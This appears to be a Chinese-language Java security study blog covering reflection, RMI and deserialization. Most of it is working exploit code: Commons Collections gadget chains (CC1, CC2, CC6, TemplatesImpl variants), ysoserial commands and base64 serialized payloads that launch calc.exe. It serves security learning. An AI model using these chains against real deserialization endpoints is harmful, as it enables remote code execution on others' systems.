重拾Java安全漫谈 1 环境准备 首先安装java
windows
https://www.oracle.com/java/technologies/downloads/#java8-windows
linux
sudo apt install openjdk-8-jre-headless
sudo apt install openjdk-8-jdk-headless
卸载java
先检查是否安装,命令:dpkg --list | grep -i jdk
移除openjdk包,命令:apt-get purge openjdk*
卸载 OpenJDK 相关包,命令:apt-get purge icedtea-* openjdk-*
再次检查是否卸载成功,命令:dpkg --list | grep -i jdk
卸载完成
安装java
安装idea https://www.jetbrains.com/idea/download/#section=windows
创建项目
1 2 3 4 5 6 7 8 9 10 11 12 13 public class DoTest { public static void main (String[] args) { System.out.println(System.getProperty("user.home" )); System.out.println(System.getProperty("java.version" )); System.out.println(System.getProperty("os.name" )); System.out.println(System.getProperty("java.vendor.url" )); } } C:\Users\username 1.8 .0_321 Windows 10 http:
2 反射 反射就是Reflection,Java的反射是指程序在运行期可以拿到一个对象的所有信息。
在正常情况下,除了系统类,如果我们想拿到一个类,需要先 import 才能使用。而使用forName就不 需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class Reflection { public static void main (String[] args) throws Exception { execute("Test" ,"testPrint" ); } public static void execute (String className, String methodName) throws Exception { Class clazz = Class.forName(className); } } class Test { static { try { Class clazz = Class.forName("java.lang.Runtime" ); clazz.getMethod("exec" , String[].class).invoke(clazz.getMethod("getRuntime" ).invoke(clazz),new String[][]{{"cmd.exe" ,"/c" ,"calc" }}); } catch (Exception e){ e.printStackTrace(); } } }
ProcessBuilder,我们使用反射来获取其构造函数,然后调用 start() 来执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Reflection02 { public static void main (String[] args) { try { Class clazzTest = Class.forName("Test2" ); Class clazz = Class.forName("java.lang.ProcessBuilder" ); clazz.getMethod("start" ).invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"powershell.exe" ,"-c" ,"calc|calc" }})); } catch (Exception e) { e.printStackTrace(); } } } class Test2 { static { System.out.println("test2" ); } }
用 getDeclaredConstructor 来获取这个Runtime的构造方法来实例化对象,进而执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class Reflection03 { public static void main (String[] args) { try { Class clazz = Class.forName("java.lang.Runtime" ); Class constructor = Class.forName("java.lang.reflect.Constructor" ); Constructor m = clazz.getDeclaredConstructor(); m.setAccessible(true ); clazz.getMethod("exec" , String.class).invoke(m.newInstance(),"calc.exe" ); } catch (Exception e) { e.printStackTrace(); } } } class Test3 { static { System.out.println("test3" ); } }
3 RMI 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import java.rmi.Naming;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer { public interface IRemoteHelloWorld extends Remote { public String hello () throws RemoteException ; } public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld () throws RemoteException { super (); } public String hello () throws RemoteException { System.out.println("call from" ); return "Hello world" ; } } private void start () throws Exception { System.setProperty("java.rmi.server.hostname" ,"vpsip" ); RemoteHelloWorld h = new RemoteHelloWorld(); LocateRegistry.createRegistry(11099 ); Naming.rebind("rmi://127.0.0.1:11099/Hello" , h); } public static void main (String[] args) throws Exception { new RMIServer().start(); } } import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.time.LocalDateTime;public class Client { public static void main (String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("vpsip" , 11099 ); WorldClock worldClock = (WorldClock) registry.lookup("WorldClock" ); LocalDateTime now = worldClock.getLocalDateTime("Asia/Shanghai" ); System.out.println(now); } }
其中, java.rmi.server.hostname 是服务器的IP地址,远程调用时需要根据这个值来访问RMI Server。
4 反序列化 简单的序列化与反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class SerializeDemo { public static void main (String[] args) throws Exception { Person person = new Person("L1ao" ,3 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(person); byte [] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); System.out.println(new String(encoded)); } } class Person implements java .io .Serializable { public String name; public int age; Person(String name, int age) { this .age = age; this .name = name; } } import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;public class DeserializeDemo { public static void main (String[] args) throws Exception { String b64 = "rO0ABXNyAAZQZXJzb26fU5kJESsv1QMAAkkAA2FnZUwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAAAN0AARMMWFvdAAQVGhpcyBpcyBhIG9iamVjdHg=" ; byte [] bytes = Base64.getDecoder().decode(b64); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); Person p = null ; p = (Person) in.readObject(); in.close(); System.out.println("name:" + p.name +" age:" + p.age); } }
URLDNS yso示例
1 java -jar ysoserial.jar URLDNS "http://bb81c2a9.dns.1433.eu.org" |base64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.Base64;import java.util.HashMap;public class URLDemo { public static void main (String[] args) throws Exception { DeSer(); } static public void DeSer () throws Exception { String b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGDc2OGExODkyLmRucy4xNDMzLmV1Lm9yZ3QAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAANF4" ; byte [] bytes = Base64.getDecoder().decode(b64); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); in.readObject(); } static public void Ser () throws Exception { HashMap hashmap = new HashMap(); URL url = new URL("http://768a1892.dns.1433.eu.org" ); Field filed = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); filed.setAccessible(true ); filed.set(url, 209 ); hashmap.put(url, 209 ); filed.set(url, -1 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashmap); byte [] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); System.out.println(new String(encoded)); } }
Collections1
安装 Java JDK 1.7
创建 Maven项目 添加依赖
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > </dependencies >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import sun.misc.BASE64Encoder;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" ,"xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object obj = constructor.newInstance(Retention.class, outerMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)" , "" ); System.out.println(msg); } } import sun.misc.BASE64Decoder;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;public class CommonCollectionsDeserializeDemo1 { public static void main (String[] args) throws Exception { String b64str = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGQAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABlzcQB+ABF1cQB+ABYAAAACcHVxAH4AFgAAAAB0AAZpbnZva2V1cQB+ABkAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGQAAAAFxAH4AHnNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==" ; BASE64Decoder b64 = new BASE64Decoder(); byte [] bytes = b64.decodeBuffer(b64str); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); in.readObject(); } }
Java对象代理 示范
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler (Map map) { this .map = map; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get" ) == 0 ) { System.out.println("HOOK Method: " + method.getName()); return "Hacked by L1ao" ; } return method.invoke(this .map, args); } } import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class AppTest { public static void main (String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler); proxyMap.put("hello" ,"world" ); String result = (String) proxyMap.get("hello" ); System.out.println(result); } }
LazyMap版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import sun.misc.BASE64Encoder;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"powershell -c \"calc|calc\"" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" ,"xxxx" ); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler) ; handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(handler); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)" , "" ); System.out.println(msg); } }
yso命令
1 java -jar ysoserial.jar CommonsCollections1 'powershell -c "calc|calc"' |base64
Collections2 java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package org.example;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.Base64;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;public class CommonCollections2 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1 )}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]} ), new InvokerTransformer( "invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]} ), new InvokerTransformer( "exec" , new Class[]{String.class}, new String[]{"calc.exe" } ) }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Comparator comparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(barrBase64); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64))); Object o = (Object) ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
TemplatesImpl(基于CC2) 在禁用Transformer数组时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.example;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.Comparator;import java.util.Base64;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;public class CommonCollections22 { public static void main (String[] args) throws Exception { TemplatesImpl templatesImplObj = new TemplatesImpl(); setFieldValue(templatesImplObj, "_bytecodes" , new byte [][] {getBytescode(HelloTemplatesImpl.class)}); setFieldValue(templatesImplObj, "_name" , "HelloTemplatesImpl" ); setFieldValue(templatesImplObj, "_tfactory" , new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString" ,null ,null ); Comparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2 , comparator); queue.add(templatesImplObj); queue.add(templatesImplObj); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(barrBase64); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64))); Object o = (Object) ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] getBytescode(Class<?> clazz) throws Exception { String className = clazz.getName().replace('.' , '/' ) + ".class" ; URL classUrl = clazz.getClassLoader().getResource(className); try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) { byte [] buffer = new byte [4096 ]; int n; while ((n = in.read(buffer)) > 0 ) { out.write(buffer, 0 , n); } byte [] classBytes = out.toByteArray(); return classBytes; } } }
Collections6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.sec.test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import sun.misc.BASE64Encoder;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections6 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1 ) }; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key" ); Map expMap = new HashMap(); expMap.put(tiedMapEntry,"value" ); outerMap.remove("key" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain,transformers); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); objectOutputStream.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)" , "" ); System.out.println(msg); } }
TemplatesImpl(基于CC1) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package com.sec.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import sun.misc.BASE64Decoder;import sun.misc.BASE64Encoder;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } private static String getClassBytes (Class<?> clazz) throws Exception { String className = clazz.getName().replace('.' , '/' ) + ".class" ; URL classUrl = clazz.getClassLoader().getResource(className); try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) { byte [] buffer = new byte [4096 ]; int n; while ((n = in.read(buffer)) > 0 ) { out.write(buffer, 0 , n); } byte [] classBytes = out.toByteArray(); String base64Class = new BASE64Encoder().encode(classBytes); String msg = base64Class.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)" , "" ); return msg; } } public static void main (String[] args) throws Exception { BASE64Decoder base64Decoder = new BASE64Decoder(); byte [] code = base64Decoder.decodeBuffer(getClassBytes(evil.HelloTemplatesImpl.class)); TemplatesImpl templatesImplObj = new TemplatesImpl(); setFieldValue(templatesImplObj, "_bytecodes" , new byte [][] {code}); setFieldValue(templatesImplObj, "_name" , "HelloTemplatesImpl" ); setFieldValue(templatesImplObj, "_tfactory" , new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[] { new ConstantTransformer(templatesImplObj), new InvokerTransformer("newTransformer" ,null ,null ) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" ,"xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object obj = constructor.newInstance(Retention.class, outerMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)" , "" ); System.out.println(msg); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package evil;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class HelloTemplatesImpl extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public HelloTemplatesImpl () { super (); System.out.println("Hello TemplatesImpl" ); try { Runtime.getRuntime().exec("calc.exe" ); }catch (Exception e) { } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.sec.test;import sun.misc.BASE64Decoder;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;public class CommonCollectionsDeserializeDemo1 { public static void main (String[] args) throws Exception { String b64str = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0ABJMamF2YS9sYW5nL1N0cmluZztMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ABBMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAA